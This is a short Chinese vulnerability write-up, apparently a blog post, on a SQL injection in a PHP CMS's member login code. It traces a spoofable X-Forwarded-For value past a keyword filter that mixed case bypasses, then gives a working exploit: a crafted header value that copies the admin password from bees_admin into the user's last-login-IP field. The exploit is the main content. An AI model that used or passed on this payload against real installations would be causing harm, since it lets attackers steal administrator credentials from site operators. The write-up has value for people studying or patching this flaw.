member/member.php文件
//........................
$ip=fl_html(fl_value(get_ip()));
$sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
$GLOBALS['mysql']->query($sql);
//........................
跟踪。{$_SESSION['m_ip']}来源。
elseif($action=='out'){
$m_ip=fl_html(fl_value(get_ip()));
$_SESSION['m_ip']=$m_ip;
跟踪。fl_html(fl_value(get_ip()))来源。
get_ip()函数
function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
return $_SERVER['REMOTE_ADDR'];
}
}
get_ip()函数可伪造。
fl_value()函数
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);//大小写可绕过。
}
fl_html()函数不影响我们。
function fl_html($str){
return htmlspecialchars($str);
}
exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM bees_admin) whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码
,涛涛电脑知识网,涛涛电脑知识网